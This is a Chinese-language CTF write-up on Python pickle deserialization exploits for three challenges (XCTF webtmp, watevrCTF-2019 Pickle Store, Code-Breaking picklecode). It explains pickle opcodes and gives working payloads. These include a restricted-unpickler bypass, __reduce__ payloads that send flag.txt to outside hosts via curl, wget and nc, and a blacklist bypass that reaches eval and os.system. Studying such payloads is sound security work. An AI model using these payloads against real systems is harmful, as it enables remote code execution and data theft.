这个python的pickle鸽了好久,前段时间在出题,然后打了几个小比赛,水了好久
https://xz.aliyun.com/t/7436
https://xz.aliyun.com/t/7012
opcode好难嘤嘤嘤

xctf3月 webtmp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import base64
import io
import sys
import pickle

from flask import Flask, Response, render_template, request
import secret


app = Flask(__name__)


class Animal:
def __init__(self, name, category):
self.name = name
self.category = category

def __repr__(self):
return f'Animal(name={self.name!r}, category={self.category!r})'

def __eq__(self, other):
return type(other) is Animal and self.name == other.name and self.category == other.category


class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == '__main__':
return getattr(sys.modules['__main__'], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()


def read(filename, encoding='utf-8'):
with open(filename, 'r', encoding=encoding) as fin:
return fin.read()


@app.route('/', methods=['GET', 'POST'])
def index():
if request.args.get('source'):
return Response(read(__file__), mimetype='text/plain')

if request.method == 'POST':
try:
pickle_data = request.form.get('data')
if b'R' in base64.b64decode(pickle_data):
return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'
else:
result = restricted_loads(base64.b64decode(pickle_data))
if type(result) is not Animal:
return 'Are you sure that is an animal???'
correct = (result == Animal(secret.name, secret.category))
return render_template('unpickle_result.html', result=result, pickle_data=pickle_data, giveflag=correct)
except Exception as e:
print(repr(e))
return "Something wrong"

sample_obj = Animal('一给我哩giaogiao', 'Giao')
pickle_data = base64.b64encode(pickle.dumps(sample_obj)).decode()
return render_template('unpickle_page.html', sample_obj=sample_obj, pickle_data=pickle_data)


if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

审计一下,因为过滤了R指令无法rce,要覆盖secret.name, secret.category
重写了find_class,什么时候会调用find_class():
1.从opcode角度看,当出现c、i、b’\x93’时,会调用,所以只要在这三个opcode直接引入模块时没有违反规则即可。
2.从python代码来看,find_class()只会在解析opcode时调用一次,所以只要绕过opcode执行过程,find_class()就不会再调用,也就是说find_class()
只需要过一次,通过之后再产生的函数在黑名单中也不会拦截,所以可以通过import绕过一些黑名单。
这里限制了只能使用main

1
b"\x80\x03c__main__\nsecret\n}(Vname\nVxx\nVcategory\nVyyy\nub0c__main__\nAnimal\n)\x81}(S'name'\nS'xx'\nS'category'\nS'yyy'\nub."

星盟的师傅的payload 分析一下
c__main__\nsecret\n #获取secret对象
}(Vname\nVxx\nVcategory\nVyyy\n # } 压入一个空字典 ( 压入一个MARK标记 V 实例化一个UNICODE字符串对象
ub0 # u 寻找上一个MARK标记,组合之间的数据成一个字典(数据必须有偶数个,即呈key-value对) 并全部添加或更新到该MARK之前的一个元素(必须为
字典)中 此处即是组成dict = {‘name’: ‘xx’, ‘category’: ‘yyy’} 压入之前 } 压入的空字典当中 ;b 使用栈中的第一个元素(储存多个属性名:
属性值的字典)对第二个元素(对象实例)进行属性设置 此处即是根据字典dict对secret对象的属性值进行设置;0 丢弃栈顶对象 此处是把secret对象丢

后面就是获取一个animal对象,\x81是一个操作符,建立对象,因为要求是一个animal对象所有先删除后压入一个正常的animal对象
opcode真是难度有点大 看了好多篇文章,才理解出来这么点,还不知道对不对2333

[watevrCTF-2019]Pickle Store

https://xz.aliyun.com/t/7320

1
2
3
4
5
import pickle
import base64

result = pickle.loads(base64.b64decode(b'gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAMmE0MDIxOTA4NmI0YTk1MDNkYWNkNjc1OTRlODg1NjhxBXUu'))
print(result)

反序列化cookie数据rce
p3师傅的:

1
2
3
4
5
6
7
import pickle
import base64
class A(object):
def __reduce__(self):
return (eval,("__import__('os').system('curl -d @flag.txt 174.0.157.204:2333')",))
a = A()
print(base64.b64encode(pickle.dumps(a)))

旺哥的:

1
2
3
4
import os
class test(object):
def __reduce__(self):
return (os.system,("wget 'http://xss.buuoj.cn/index.php?do=api&id=Krwr7k' --post-data='location='`cat flag.txt` -O-",))

ice-cream师傅的:

1
2
3
4
5
6
7
8
import pickle
import base64
import os
class A(object):
def __reduce__(self):
return (os.system,('nc 174.0.166.111 2333 < flag.txt',))
a = A()
print(base64.b64encode(pickle.dumps(a)))

我感觉直接os.system curl也可以,但是curl不通2333,似乎环境出了问题,用旺哥的exp也没成功
文章中还有一种方法是覆盖key,伪造cookie信息,修改金额数据,虽然不用外带数据,但是也用到了R指令,既然能执行命令了也不用这么麻烦

Code-Breaking:picklecode

题目将pickle能够引入的模块限定为builtins,并且设置了子模块黑名单:

1
{'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}

于是我们能够直接利用的模块有:
builtins模块中,黑名单外的子模块。
已经import的模块:io、builtins(需要先利用builtins模块中的函数)
https://www.leavesongs.com/PENETRATION/code-breaking-2018-python-sandbox.html
源码
p神讲的很清楚了 payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
cbuiltins
getattr
(g1
S'eval'
tR(S'__import__("os").system("id")'
tR.

cbuiltins\ngetattr\n(cbuiltins\ndict\nS’get’\ntR 获取builtins内置模块getattr函数和dict对象 把dict对象和get字符串组成一个元组,用
getattr函数获取dict的get对象(函数)
cbuiltins\nglobals\n(tR 获取上下文,并储存成一个元组
上面两段连起来,中间加一个(做一个标记,末尾tRp1,执行dict.get 获取上下文中的builtins对象,并储存到memo[1]
cbuiltins\ngetattr\n(g1\nS’eval’\ntR g1获取memo[1]也就是获取builtins对象,执行getattr获取builtins对象的eval对象(函数)
最后就是执行eval函数,参数是倒数第二行的字符串
看完p牛的文章真的是豁然开朗,p牛tql。